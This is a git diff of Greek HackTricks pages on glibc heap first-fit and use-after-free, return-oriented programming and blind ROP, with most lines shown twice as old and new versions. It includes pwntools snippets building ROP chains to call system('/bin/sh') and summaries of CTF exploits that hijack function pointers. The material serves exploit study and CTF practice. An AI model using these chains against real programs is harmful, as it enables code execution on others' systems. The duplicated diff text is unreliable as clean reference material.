<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Ειδικός Red Team του HackTricks AWS)</strong></a><strong>!</strong></summary>
<summary>Υποστηρίξτε το HackTricks</summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Εγγραφείτε** 💬 [**στην ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Κοινοποιήστε κόλπα χάκερ κάνοντας υποβολή PRs** στα αποθετήρια [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
{% endhint %}
## **Πρώτη Εφαρμογή**
Όταν απελευθερώνετε μνήμη σε ένα πρόγραμμα που χρησιμοποιεί το glibc, διαφορετικά "bins" χρησιμοποιούνται για τη διαχείριση των τμημάτων μνήμης. Εδώ υπάρχει μια απλοποιημένη εξήγηση δύο συνηθισμένων σεναρίων: μη ταξινομημένα bins και fastbins.
Όταν απελευθερώνετε μνήμη σε ένα πρόγραμμα που χρησιμοποιεί το glibc, διαφορετικά "bins" χρησιμοποιούνται για τη διαχείριση των τμημάτων μνήμης. Εδώ υπάρχει μια απλουστευμένη εξήγηση δύο συνηθισμένων σεναρίων: unsorted bins και fastbins.
### Μη Ταξινομημένα Bins
### Unsorted Bins
Όταν απελευθερώνετε ένα τμήμα μνήμης που δεν είναι γρήγορο τμήμα, πηγαίνει στο μη ταξινομημένο bin. Αυτό το bin λειτουργεί σαν μια λίστα όπου τα νέα απελευθερωμένα τμήματα προστίθενται στην αρχή (το "κεφάλι"). Όταν ζητάτε ένα νέο τμήμα μνήμης, ο διαχειριστής κοιτά στο μη ταξινομημένο bin από το πίσω μέρος (τη "ουρά") για να βρει ένα τμήμα που είναι αρκετά μεγάλο. Αν ένα τμήμα από το μη ταξινομημένο bin είναι μεγαλύτερο από αυτό που χρειάζεστε, τότε χωρίζεται, με το μέρος μπροστά να επιστρέφεται και το υπόλοιπο μέρος να παραμένει στο bin.
Όταν απελευθερώνετε ένα τμήμα μνήμης που δεν είναι γρήγορο τμήμα, πηγαίνει στο unsorted bin. Αυτό το bin λειτουργεί σαν μια λίστα όπου τα νέα απελευθερωμένα τμήματα προστίθενται στην αρχή (το "κεφάλι"). Όταν ζητάτε ένα νέο τμήμα μνήμης, ο διαχειριστής κοιτά στο unsorted bin από το πίσω μέρος (τη "ουρά") για να βρει ένα τμήμα που είναι αρκετά μεγάλο. Αν ένα τμήμα από το unsorted bin είναι μεγαλύτερο από αυτό που χρειάζεστε, τότε γίνεται διαίρεση, με το μέρος που επιστρέφεται να είναι αυτό που ταιριάζει στο αίτημά σας και το υπόλοιπο μέρος να παραμένει στο bin.
Παράδειγμα:
* Δεσμεύετε 300 bytes (`a`), στη συνέχεια 250 bytes (`b`), απελευθερώνετε το `a` και ζητάτε ξανά 250 bytes (`c`).
* Όταν απελευθερώνετε το `a`, πηγαίνει στο μη ταξινομημένο bin.
* Αν στη συνέχεια ζητήσετε ξανά 250 bytes, ο διαχειριστής βρίσκει το `a` στην ουρά και το χωρίζει, επιστρέφοντας το μέρος που ταιριάζει με το αίτημά σας και κρατώντας το υπόλοιπο στο bin.
* Όταν απελευθερώνετε το `a`, πηγαίνει στο unsorted bin.
* Αν στη συνέχεια ζητήσετε ξανά 250 bytes, ο διαχειριστής βρίσκει το `a` στην ουρά και το διαιρεί, επιστρέφοντας το μέρος που ταιριάζει με το αίτημά σας και κρατώντας το υπόλοιπο στο bin.
* Το `c` θα δείχνει στο προηγούμενο `a` και θα είναι γεμάτο με τα δεδομένα του `a`.
```c
char *a = malloc(300);
@ -36,13 +37,13 @@ char *c = malloc(250);
```
### Fastbins
Τα Fastbins χρησιμοποιούνται για μικρά κομμάτια μνήμης. Αντίθετα με τα unsorted bins, τα fastbins προσθέτουν νέα κομμάτια στην αρχή, δημιουργώντας ένα συμπεριφορά last-in-first-out (LIFO). Αν ζητήσετε ένα μικρό κομμάτι μνήμης, ο διαχειριστής θα το πάρει από την αρχή του fastbin.
Τα Fastbins χρησιμοποιούνται για μικρά κομμάτια μνήμης. Αντίθετα με τα unsorted bins, τα fastbins προσθέτουν νέα κομμάτια στην αρχή, δημιουργώντας ένα συμπεριφορά last-in-first-out (LIFO). Αν ζητήσετε ένα μικρό κομμάτι μνήμης, ο allocator θα το πάρει από την αρχή του fastbin.
Παράδειγμα:
* Δεσμεύετε τέσσερα κομμάτια των 20 bytes το καθένα (`a`, `b`, `c`, `d`).
* Όταν τα απελευθερώσετε με οποιαδήποτε σειρά, τα απελευθερωμένα κομμάτια προστίθενται στην αρχή του fastbin.
* Αν στη συνέχεια ζητήσετε ένα κομμάτι 20 bytes, ο διαχειριστής θα επιστρέψει το πιο πρόσφατα απελευθερωμένο κομμάτι από την αρχή του fastbin.
* Αν στη συνέχεια ζητήσετε ένα κομμάτι 20 bytes, ο allocator θα επιστρέψει το πιο πρόσφατα απελευθερωμένο κομμάτι από την αρχή του fastbin.
```c
char *a = malloc(20);
char *b = malloc(20);
@ -64,9 +65,9 @@ d = malloc(20); // a
* ARM64. Use after free: Δημιουργία ενός αντικειμένου χρήστη, απελευθέρωσή του, δημιουργία ενός αντικειμένου που παίρνει το απελευθερωμένο κομμάτι και επιτρέπει την εγγραφή σε αυτό, **αντικαθιστώντας τη θέση του user->password** από το προηγούμενο. Χρησιμοποιήστε ξανά τον χρήστη για **παράκαμψη του ελέγχου του κωδικού πρόσβασης**
* [**https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/use\_after\_free/#example**](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/use\_after\_free/#example)
* Το πρόγραμμα επιτρέπει τη δημιουργία σημειώσεων. Μια σημείωση θα έχει τις πληροφορίες της σημείωσης σε ένα malloc(8) (με ένα δείκτη προς μια συνάρτηση που θα μπορούσε να κληθεί) και ένα δείκτη προς ένα άλλο malloc(\<size>) με τα περιεχόμενα της σημείωσης.
* Η επίθεση θα είναι να δημιουργηθούν 2 σημειώσεις (σημείωση0 και σημείωση1) με μεγαλύτερα περιεχόμενα malloc από το μέγεθος των πληροφοριών της σημείωσης και στη συνέχεια να τις απελευθερώσουν ώστε να μπουν στο fast bin (ή tcache).
* Στη συνέχεια, δημιουργήστε μια άλλη σημείωση (σημείωση2) με μέγεθος περιεχομένου 8. Το περιεχόμενο θα βρίσκεται στη σημείωση1 καθώς το κομμάτι θα επαναχρησιμοποιηθεί, όπου θα μπορούσαμε να τροποποιήσουμε το δείκτη της συνάρτησης ώστε να δείχνει στη συνάρτηση win και στη συνέχεια να γίνει Use-After-Free η σημείωση1 για να κληθεί ο νέος δείκτης συνάρτησης.
* Η επίθεση θα είναι να δημιουργηθούν 2 σημειώσεις (note0 και note1) με μεγαλύτερο μέγεθος περιεχομένου malloc από το μέγεθος των πληροφοριών της σημείωσης και στη συνέχεια να τις απελευθερώσουν ώστε να μπουν στο fast bin (ή tcache).
* Στη συνέχεια, δημιουργήστε μια άλλη σημείωση (note2) με μέγεθος περιεχομένου 8. Το περιεχόμενο θα βρίσκεται στη note1 καθώς το κομμάτι θα επαναχρησιμοποιηθεί, όπου θα μπορούσαμε να τροποποιήσουμε το δείκτη της συνάρτησης ώστε να δείχνει στη συνάρτηση win και στη συνέχεια να γίνει Use-After-Free η note1 για να κληθεί ο νέος δείκτης συνάρτησης.
* [**https://guyinatuxedo.github.io/26-heap\_grooming/pico\_areyouroot/index.html**](https://guyinatuxedo.github.io/26-heap\_grooming/pico\_areyouroot/index.html)
* Είναι δυνατόν να δεσμευτεί μνήμη, να γραφτεί η επιθυμητή τιμή, να απελευθερωθεί, να επαναδεσμευτεί και καθώς τα προηγούμενα δεδομένα είναι ακόμα εκεί, θα χειριστείται σύμφωνα με τη νέα αναμενόμενη δομή στο κομμάτι κάνοντας δυνατή την ρύθμιση της τιμής για να λάβετε τη σημαία.
* Είναι δυνατόν να δεσμευτεί μνήμη, να γραφτεί η επιθυμητή τιμή, να απελευθερωθεί, να επαναδεσμευτεί και καθώς τα προηγούμενα δεδομένα εξακολουθούν να υπάρχουν, θα χειριστούν σύμφωνα με τη νέα αναμενόμενη δομή στο κομμάτι κάνοντας δυνατή την ρύθμιση της τιμής για να λάβετε τη σημαία.
* [**https://guyinatuxedo.github.io/26-heap\_grooming/swamp19\_heapgolf/index.html**](https://guyinatuxedo.github.io/26-heap\_grooming/swamp19\_heapgolf/index.html)
* Σε αυτήν την περίπτωση είναι απαραίτητο να γραφτεί το 4 μέσα σε ένα συγκεκριμένο κομμάτι που είναι το πρώτο που δεσμεύεται (ακόμα και μετά από την αναγκαστική απελευθέρωση όλων τους). Σε κάθε νέο δεσμευμένο κομμάτι αποθηκεύεται ο αριθμός του στον πίνακα δείκτη. Στη συνέχεια, δεσμεύστε 4 κομμάτια (+ το αρχικά δεσμευμένο), το τελευταίο θα έχει μέσα του το 4, απελευθερώστε τα και αναγκάστε την επαναδέσμευση του πρώτου, το οποίο θα χρησιμοποιήσει το τελευταίο κομμάτι που απελευθερώθηκε, το οποίο είναι αυτό με το 4 μέσα του.

View file

@ -1,18 +1,19 @@
# ROP - Return Oriented Programing
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο Hacking του AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Εκπαίδευση HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο Hacking του GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Εκπαίδευση HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Υποστηρίξτε το HackTricks</summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε** στην 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs** στα [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του GitHub.
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Εγγραφείτε** 💬 στην [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Κοινοποιήστε κόλπα χάκερ υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια στο GitHub.
</details>
{% endhint %}
## **Βασικές Πληροφορίες**
@ -21,7 +22,7 @@
### Πώς Λειτουργεί το ROP
1. **Απάτηση Ροής Ελέγχου**: Αρχικά, ένας επιτιθέμενος πρέπει να απατήσει τη ροή ελέγχου ενός προγράμματος, συνήθως εκμεταλλευόμενος ένα υπερχείλισμα buffer για να αντικαταστήσει μια αποθηκευμένη διεύθυνση επιστροφής στη στοίβα.
2. **Αλυσίδωση Gadgets**: Έπειτα, ο επιτιθέμενος επιλέγει προσεκτικά και αλυσίδωνει gadgets για να εκτελέσει τις επιθυμητές ενέργειες. Αυτό θα μπορούσε να περιλαμβάνει την ρύθμιση ορισμάτων για μια κλήση συνάρτησης, την κλήση της συνάρτησης (π.χ., `system("/bin/sh")`), και τη χειρισμό οποιασδήποτε απαραίτητης καθαριότητας ή επιπλέον λειτουργιών.
2. **Αλυσίδωση Gadgets**: Έπειτα, ο επιτιθέμενος επιλέγει προσεκτικά και αλυσίδωνει gadgets για να εκτελέσει τις επιθυμητές ενέργειες. Αυτό θα μπορούσε να περιλαμβάνει την ρύθμιση οργάνων για μια κλήση συνάρτησης, την κλήση της συνάρτησης (π.χ., `system("/bin/sh")`), και τη χειρισμό οποιασδήποτε απαραίτητης καθαριότητας ή επιπλέον λειτουργιών.
3. **Εκτέλεση Φορτίου**: Όταν η ευάλωτη συνάρτηση επιστρέφει, αντί να επιστρέψει σε μια νόμιμη τοποθεσία, αρχίζει να εκτελεί την αλυσίδα των gadgets.
### Εργαλεία
@ -32,7 +33,7 @@
### **Σύμβαση Κλήσης x86 (32-bit)**
* **cdecl**: Ο καλούντας καθαρίζει τη στοίβα. Τα ορίσματα συνάρτησης προστίθενται στη στοίβα με αντίστροφη σειρά (δεξιά προς αριστερά). **Τα ορίσματα προστίθενται στη στοίβα από δεξιά προς αριστερά.**
* **cdecl**: Ο καλούντας καθαρίζει τη στοίβα. Τα ορίσματα συνάρτησης προωθούνται στη στοίβα με αντίστροφη σειρά (δεξιά προς αριστερά). **Τα ορίσματα προωθούνται στη στοίβα από δεξιά προς αριστερά.**
* **stdcall**: Παρόμοιο με το cdecl, αλλά ο καλούμενος είναι υπεύθυνος για τον καθαρισμό της στοίβας.
### **Εύρεση Gadgets**
@ -50,7 +51,7 @@
1. Μια εντολή `ret` για λόγους ευθυγράμμισης (προαιρετικά)
2. Διεύθυνση της συνάρτησης `system` (υποθέτοντας απενεργοποιημένο το ASLR και γνωστή την libc, περισσότερες πληροφορίες στο [**Ret2lib**](ret2lib/))
3. Χώρος για τη διεύθυνση επιστροφής από την `system()`
3. Θέση κράτησης για τη διεύθυνση επιστροφής από την `system()`
4. Διεύθυνση της συμβολοσειράς `"/bin/sh"` (παράμετρος για τη συνάρτηση system)
```python
from pwn import *
@ -89,15 +90,15 @@ p.interactive()
### **Σύμβαση κλήσης x64 (64-bit)**
* Χρησιμοποιεί τη **System V AMD64 ABI** σύμβαση κλήσης σε συστήματα παρόμοια με Unix, όπου οι **πρώτες έξι ακέραιες ή δείκτες παραμέτροι περνιούνται στους registes `RDI`, `RSI`, `RDX`, `RCX`, `R8`, και `R9`**. Επιπλέον παραμέτροι περνιούνται στη στοίβα. Η τιμή επιστροφής τοποθετείται στο `RAX`.
* Η σύμβαση κλήσης **Windows x64** χρησιμοποιεί τους `RCX`, `RDX`, `R8`, και `R9` για τις πρώτες τέσσερις ακέραιες ή δείκτες παραμέτρους, με επιπλέον παραμέτρους που περνιούνται στη στοίβα. Η τιμή επιστροφής τοποθετείται στο `RAX`.
* Χρησιμοποιεί τη **σύμβαση κλήσης System V AMD64 ABI** σε συστήματα παρόμοια με Unix, όπου οι **πρώτες έξι ακέραιες ή δείκτες παραμέτρων περνιούνται στους registres `RDI`, `RSI`, `RDX`, `RCX`, `R8`, και `R9`**. Επιπλέον παράμετροι περνιούνται στη στοίβα. Η τιμή επιστροφής τοποθετείται στο `RAX`.
* Η σύμβαση κλήσης **Windows x64** χρησιμοποιεί τους `RCX`, `RDX`, `R8`, και `R9` για τις πρώτες τέσσερις ακέραιες ή δείκτες παραμέτρων, με επιπλέον παραμέτρους που περνιούνται στη στοίβα. Η τιμή επιστροφής τοποθετείται στο `RAX`.
* **Καταχωρητές**: Οι 64-bit καταχωρητές περιλαμβάνουν τους `RAX`, `RBX`, `RCX`, `RDX`, `RSI`, `RDI`, `RBP`, `RSP`, και `R8` έως `R15`.
#### **Εύρεση Gadgets**
Για τον σκοπό μας, ας επικεντρωθούμε σε gadgets που θα μας επιτρέψουν να ορίσουμε τον καταχωρητή **RDI** (για να περάσουμε το string **"/bin/sh"** ως παράμετρο στη **system()**) και στη συνέχεια να καλέσουμε τη συνάρτηση **system()**. Θα υποθέσουμε ότι έχουμε εντοπίσει τα ακόλουθα gadgets:
Για τον σκοπό μας, ας επικεντρωθούμε σε gadgets που θα μας επιτρέψουν να ορίσουμε τον καταχωρητή **RDI** (για να περάσουμε το string **"/bin/sh"** ως όρισμα στη συνάρτηση **system()**) και στη συνέχεια να καλέσουμε τη συνάρτηση **system()**. Θα υποθέσουμε ότι έχουμε εντοπίσει τα ακόλουθα gadgets:
* **pop rdi; ret**: Αποσυσκευάζει την κορυφαία τιμή της στοίβας στο **RDI** και στη συνέχεια επιστρέφει. Απαραίτητο για την ορισμό της παραμέτρου μας για την **system()**.
* **pop rdi; ret**: Αποσυσκευάζει την κορυφαία τιμή της στοίβας στο **RDI** και στη συνέχεια επιστρέφει. Απαραίτητο για την ορισμό του ορίσματός μας για το **system()**.
* **ret**: Μια απλή επιστροφή, χρήσιμη για την ευθυγράμμιση της στοίβας σε ορισμένα σενάρια.
Και γνωρίζουμε τη διεύθυνση της συνάρτησης **system()**.
@ -139,12 +140,58 @@ payload = fit({offset: rop_chain})
p.sendline(payload)
p.interactive()
```
### Ευθυγράμμιση Στοίβας
## Ευθυγράμμιση Στοίβας
**Η x86-64 ABI** εξασφαλίζει ότι η **στοίβα είναι ευθυγραμμισμένη σε 16 bytes** όταν εκτελείται μια εντολή **κλήσης**. Το **LIBC**, για βελτιστοποίηση της απόδοσης, **χρησιμοποιεί εντολές SSE** (όπως **movaps**) που απαιτούν αυτό το ευθυγράμμισμα. Αν η στοίβα δεν είναι ευθυγραμμισμένη σωστά (δηλαδή το **RSP** δεν είναι πολλαπλάσιο του 16), κλήσεις σε συναρτήσεις όπως το **system** θα αποτύχουν σε μια **ROP chain**. Για να διορθώσετε αυτό, απλά προσθέστε ένα **ret gadget** πριν καλέσετε το **system** στην ROP chain σας.
**Η x86-64 ABI** εξασφαλίζει ότι η **στοίβα είναι ευθυγραμμισμένη σε 16 bytes** όταν εκτελείται μια **εντολή κλήσης**. Το **LIBC**, για βελτιστοποίηση της απόδοσης, **χρησιμοποιεί εντολές SSE** (όπως **movaps**) που απαιτούν αυτό το ευθυγράμμισμα. Αν η στοίβα δεν είναι ευθυγραμμισμένη σωστά (δηλαδή το **RSP** δεν είναι πολλαπλάσιο του 16), κλήσεις σε συναρτήσεις όπως το **system** θα αποτύχουν σε μια **ROP αλυσίδα**. Για να διορθώσετε αυτό, απλά προσθέστε ένα **ret gadget** πριν καλέσετε το **system** στην ROP αλυσίδα σας.
## Κύρια Διαφορά μεταξύ x86 και x64
{% hint style="success" %}
Καθώς το **x64 χρησιμοποιεί καταχωρητές για τα πρώτα λίγα ορίσματα**, συχνά απαιτεί λιγότερα gadgets από το x86 για απλές κλήσεις συναρτήσεων, αλλά η εύρεση και σύνδεση των σωστών gadgets μπορεί να είναι πιο περίπλοκη λόγω του αυξημένου αριθμού καταχωρητών και του μεγαλύτερου χώρου διευθύνσεων. Ο αυξημένος αριθμός καταχωρητών και ο μεγαλύτερος χώρος διευθύνσεων στην αρχιτεκτονική **x64** παρέχουν τόσο ευκαιρίες όσο και προκλήσεις για την ανάπτυξη εκμετάλλευσης, ειδικά στο πλαίσιο του Return-Oriented Programming (ROP).
{% endhint %}
## ROP αλυσίδα σε Παράδειγμα ARM64
### **Βασικά ARM64 & Συμβάσεις Κλήσης**
Ελέγξτε την παρακάτω σελίδα για αυτές τις πληροφορίες:
{% content-ref url="../../macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md" %}
[arm64-basic-assembly.md](../../macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md)
{% endcontent-ref %}
## Προστασίες Ενάντια στο ROP
* [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **&** [**PIE**](../common-binary-protections-and-bypasses/pie/): Αυτές οι προστασίες κάνουν πιο δύσκολη τη χρήση του ROP καθώς οι διευθύνσεις των gadgets αλλάζουν μεταξύ των εκτελέσεων.
* [**Stack Canaries**](../common-binary-protections-and-bypasses/stack-canaries/): Σε περίπτωση Buffer Overflow, είναι απαραίτητο να παρακάμψετε το stack canary για να αντικαταστήσετε τους δείκτες επιστροφής για να καταχραστείτε μια ROP αλυσίδα.
* **Έλλειψη Gadgets**: Αν δεν υπάρχουν αρκετά gadgets, δεν θα είναι δυνατή η δημιουργία μιας ROP αλυσίδας.
## Τεχνικές βασισμένες σε ROP
Σημειώστε ότι το ROP είναι απλά μια τεχνική για την εκτέλεση αυθαίρετου κώδικα. Βασισμένες στο ROP αναπτύχθηκαν πολλές τεχνικές Ret2XXX:
* **Ret2lib**: Χρησιμοποιήστε το ROP για να καλέσετε αυθαίρετες συναρτήσεις από μια φορτωμένη βιβλιοθήκη με αυθαίρετες παραμέτρους (συνήθως κάτι σαν `system('/bin/sh')`.
{% content-ref url="ret2lib/" %}
[ret2lib](ret2lib/)
{% endcontent-ref %}
* **Ret2Syscall**: Χρησιμοποιήστε το ROP για να προετοιμάσετε μια κλήση σε ένα σύστημα κλήσης, π.χ. `execve`, και να το κάνετε να εκτελέσει αυθαίρετες εντολές.
{% content-ref url="rop-syscall-execv/" %}
[rop-syscall-execv](rop-syscall-execv/)
{% endcontent-ref %}
* **EBP2Ret & EBP Chaining**: Το πρώτο θα καταχραστεί το EBP αντί του EIP για να ελέγξει τη ροή και το δεύτερο είναι παρόμοιο με το Ret2lib αλλά σε αυτή την περίπτωση η ροή ελέγχεται κυρίως με διευθύνσεις EBP (αν και είναι απαραίτητο να ελέγχετε και το EIP).
{% content-ref url="../stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md" %}
[stack-pivoting-ebp2ret-ebp-chaining.md](../stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md)
{% endcontent-ref %}
## Άλλα Παραδείγματα & Αναφορές
* [https://ir0nstone.gitbook.io/notes/types/stack/return-oriented-programming/exploiting-calling-conventions](https://ir0nstone.gitbook.io/notes/types/stack/return-oriented-programming/exploiting-calling-conventions)
* [https://guyinatuxedo.github.io/15-partial\_overwrite/hacklu15\_stackstuff/index.html](https://guyinatuxedo.github.io/15-partial\_overwrite/hacklu15\_stackstuff/index.html)
* 64 bit, Pie και nx ενεργοποιημένα, χωρίς canary, αντικατάσταση RIP με μια διεύθυνση `vsyscall` με σκοπό την επιστροφή στην επόμενη διεύθυνση στη στοίβα που θα είναι μια μερική αντικατάσταση της διεύθυνσης για να λάβετε το τμήμα της συνάρτησης που διαρρέει τη σημαία
* [https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/](https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/)
* arm64, χωρίς ASLR, ROP gadget για να κάνει τη στοίβα εκτελέσιμη και να μεταβεί σε κώδικα κέλυφους στη στοίβα

View file

@ -1,18 +1,19 @@
# BROP - Τυφλή Προσανατολισμένη Προγραμματισμός Επιστροφής
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο Hacking του AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Εκπαίδευση HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο Hacking του GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Εκπαίδευση HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Ειδικός Ερυθρού Συνεργείου AWS του HackTricks)</strong></a><strong>!</strong></summary>
<summary>Υποστηρίξτε το HackTricks</summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε την [**Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε** στην 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs** στα [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Εγγραφείτε** στην 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Κοινοποιήστε κόλπα χάκερ υποβάλλοντας PRs** στα αποθετήρια [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
{% endhint %}
## Βασικές Πληροφορίες
@ -26,28 +27,28 @@
### **1. Εύρεση ευπαθούς μετατόπισης** αποστέλλοντας έναν επιπλέον χαρακτήρα μέχρι να ανιχνευθεί μια δυσλειτουργία του διακομιστή
### **2. Βία-δύναμη του canary** για διαρροή αυτού&#x20;
### **2. Βίαιη αναζήτηση canary** για διαρροή
### **3. Βία-δύναμη αποθηκευμένων RBP και RIP** διευθύνσεων στη στοίβα για να τις διαρρεύσετε
### **3. Βίαιη αναζήτηση αποθηκευμένων RBP και RIP** διευθύνσεων στη στοίβα για διαρροή τους
Μπορείτε να βρείτε περισσότερες πληροφορίες σχετικά με αυτές τις διαδικασίες [εδώ (BF Forked & Threaded Stack Canaries)](../common-binary-protections-and-bypasses/stack-canaries/bf-forked-stack-canaries.md) και [εδώ (BF Διευθύνσεις στη Στοίβα)](../common-binary-protections-and-bypasses/pie/bypassing-canary-and-pie.md).
### **4. Εύρεση του gadget στάσης**
Αυτό το gadget επιτρέπει ουσιαστικά να επιβεβαιωθεί ότι κάτι ενδιαφέρον εκτελέστηκε από το ROP gadget επειδή η εκτέλεση δεν κατέρρευσε. Συνήθως, αυτό το gadget θα είναι κάτι που **σταματά την εκτέλεση** και θα βρίσκεται στο τέλος της αλυσίδας ROP κατά την αναζήτηση ROP gadgets για να επιβεβαιώσετε ότι ένα συγκεκριμένο ROP gadget εκτελέστηκε
Αυτό το gadget επιτρέπει ουσιαστικά να επιβεβαιωθεί ότι κάτι ενδιαφέρον εκτελέστηκε από το ROP gadget επειδή η εκτέλεση δεν κατέρρευσε. Συνήθως, αυτό το gadget θα είναι κάτι που **σταματά την εκτέλεση** και θα βρίσκεται στο τέλος της αλυσίδας ROP κατά την αναζήτηση ROP gadgets για να επιβεβαιώσετε ότι ένα συγκεκριμένο ROP gadget εκτελέστηκε.
### **5. Εύρεση BROP gadget**
Αυτή η τεχνική χρησιμοποιεί το [**ret2csu**](ret2csu.md) gadget. Και αυτό οφείλεται στο γεγονός ότι αν έχετε πρόσβαση σε αυτό το gadget στη μέση ορισμένων εντολών, λαμβάνετε gadgets για να ελέγξετε τα **`rsi`** και **`rdi`**:
